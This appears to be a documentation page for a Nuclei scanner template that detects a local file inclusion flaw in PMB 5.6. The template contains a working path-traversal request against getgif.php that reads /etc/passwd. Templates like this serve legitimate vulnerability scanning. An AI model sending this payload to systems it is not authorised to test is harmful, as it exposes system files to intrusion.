Skip to content

PMB 5.6 - Local File Inclusion

ID: pmb-local-file-disclosure

Severity: high

Author: dhiyaneshDk

Tags: lfi,pmb,edb

PMB 5.6 is vulnerable to local file inclusion.

id: pmb-local-file-disclosure
info:
name: PMB 5.6 - Local File Inclusion
author: dhiyaneshDk
severity: high
description: PMB 5.6 is vulnerable to local file inclusion.
reference:
- https://www.exploit-db.com/exploits/49054
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: lfi,pmb,edb
http:
- method: GET
path:
- '{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif={{rand_base(4)}}'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100cb54441c9674b405ff4b1c9248248cfc94a5f628e36cc560aa94b17a50bca69b02205c6daefadb8ca7e818b46a46bd078a96d020e0f7f3749fb3f903ea8d0ec33a9c:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/pmb-local-file-disclosure.yaml"

View on Github